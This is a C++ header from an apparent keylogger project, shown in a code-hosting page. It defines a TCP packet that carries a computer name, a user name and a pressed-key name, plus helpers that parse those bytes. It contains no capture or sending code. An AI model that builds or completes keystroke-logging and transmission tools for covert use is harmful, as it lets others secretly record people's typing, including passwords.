You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

49 lines
1.9 KiB

2 years ago
//
// Created by dubininvyu on 11.02.23.
//
#pragma once
#include <climits>
struct TCPIPPacket {
uint8_t typeID; // идентификатор типа пакета
uint32_t size; // размер всего пакета в байтах
uint32_t time; // временная метка пакета
uint32_t crc32; // контрольная сумма пакета
uint32_t pcNameSize; // количество байтов в имени компьютера
std::string pcName; // имя компьютера
uint32_t userNameSize; // количество байтов в имени пользователя
std::string userName; // имя пользователя
uint32_t keyNameSize; // количество байтов в имени нажатой клавиши
std::string keyName; // имя нажатой клавиши
explicit TCPIPPacket();
};
const auto MIN_PACKET_SIZE = sizeof(TCPIPPacket::typeID) + sizeof(TCPIPPacket::size);
typedef std::vector<char> bytes_vector;
template <typename T>
void popValue(bytes_vector& vBytes, T& value) {
for (int i = sizeof(value) - 1; i >= 0; i--) {
const auto it = vBytes.begin(); // берем указатель на первый байт вектора
const auto byte = static_cast<unsigned char>(*it.base());
value |= (byte << (i * CHAR_BIT)); // ставим первый байт вектора на свое место
vBytes.erase(it); // удаляем рассмотренный байт из вектора
}
}
template <typename T>
void popValue(bytes_vector& vBytes, std::string& value, const T size) {
for (auto i = 0; i < size; i++) {
const auto it = vBytes.begin(); // получаем указатель на начало вектора
value += *it.base();
vBytes.erase(it); // удаляем рассмотренный байт из вектора
}
}